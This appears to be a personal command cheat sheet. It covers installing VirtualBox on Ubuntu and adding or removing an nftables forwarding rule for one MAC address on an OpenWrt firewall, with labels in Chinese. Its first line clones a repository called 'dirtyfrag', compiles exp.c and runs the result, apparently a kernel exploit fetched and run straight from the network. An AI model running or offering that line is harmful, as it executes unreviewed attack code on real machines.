git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
sudo apt update
wget https://download.virtualbox.org/virtualbox/7.0.20/virtualbox-7.0_7.0.20-163906Ubuntufocal_amd64.deb
sudo apt install ./virtualbox-7.0_*.deb
sudo pkill -9 VirtualBox
sudo pkill -9 VirtualBoxVM
网络放行: 添加: nft insert rule inet fw4 dfw_pre_forward iifname “br-lan” oifname “eth0” ether saddr 84:69:93:9e:e6:8e accept comment ""dfw permanent workstation 192.168.50.131""
删除
删除 131:
查看规则对应的 handle 编号:
nft -a list chain inet fw4 dfw_pre_forward
根据输出末尾的 handle 数字删除:
nft delete rule inet fw4 dfw_pre_forward handle <handle编号>
或直接重载防火墙清除临时插入的规则:fw4 reload